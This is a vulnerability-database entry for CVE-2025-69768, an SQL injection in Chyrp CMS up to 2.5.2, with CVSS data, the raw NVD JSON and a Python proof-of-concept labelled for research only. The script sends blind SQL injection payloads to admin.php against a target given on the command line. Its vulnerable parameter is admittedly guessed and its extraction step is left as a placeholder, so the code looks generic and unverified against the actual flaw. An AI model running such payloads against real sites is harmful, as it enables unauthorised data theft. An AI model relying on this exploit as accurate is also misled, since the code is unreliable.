Security Vulnerability Report
中文
CVE-2025-69768 CVSS 7.5 HIGH

CVE-2025-69768

Published: 2026-03-16 18:16:05
Last Modified: 2026-03-20 13:34:56

Description

SQL Injection vulnerability in Chyrp v.2.5.2 and before allows a remote attacker to obtain sensitive information via the Admin.php component

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:chyrp:chyrp:*:*:*:*:*:*:*:* - VULNERABLE
Chyrp CMS <= 2.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-69768 SQL Injection PoC for Chyrp CMS <= 2.5.2 # Target: Chyrp CMS Admin.php component def exploit_sqli(target_url, payload): """ SQL Injection exploit for CVE-2025-69768 This PoC demonstrates boolean-based blind SQL injection """ # Target endpoint - adjust based on actual vulnerable parameter endpoint = f"{target_url.rstrip('/')}/admin.php" # Common vulnerable parameters in Admin.php params = { 'action': 'manage_posts', 'id': payload # Vulnerable parameter } try: response = requests.get(endpoint, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def extract_data(target_url): """ Extract database version using boolean-based blind SQLi """ # Payload to extract database version # Using CASE WHEN condition THEN 1 ELSE 0 END for boolean extraction payload = "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)='1" print(f"[*] Testing SQL injection on: {target_url}") response = exploit_sqli(target_url, payload) if response and response.status_code == 200: print("[+] Target appears vulnerable to SQL injection") print("[*] Proceeding with data extraction...") # Example: Extract current database user db_user_payload = "1' AND (SELECT CASE WHEN (SUBSTRING((SELECT user()),1,1)='r') THEN 1 ELSE 0 END)='1" # Additional extraction logic would continue here... else: print("[-] Target may not be vulnerable or is unreachable") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/chyrp") sys.exit(1) target = sys.argv[1] extract_data(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69768", "sourceIdentifier": "[email protected]", "published": "2026-03-16T18:16:04.780", "lastModified": "2026-03-20T13:34:56.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL Injection vulnerability in Chyrp v.2.5.2 and before allows a remote attacker to obtain sensitive information via the Admin.php component"}, {"lang": "es", "value": "Vulnerabilidad de inyección SQL en Chyrp v.2.5.2 y anteriores permite a un atacante remoto obtener información sensible a través del componente Admin.php"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:chyrp:chyrp:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.5.2", "matchCriteriaId": "ABD0557D-2DAA-4D5E-9157-51ED66F5A393"}]}]}], "references": [{"url": "https://github.com/chyrp/chyrp", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/chyrp/chyrp/blob/768dd2f7/includes/controller/Admin.php#L1482", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://swetha-subramanian6.github.io/web%20security/cve/chyrp-sqli-cve/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}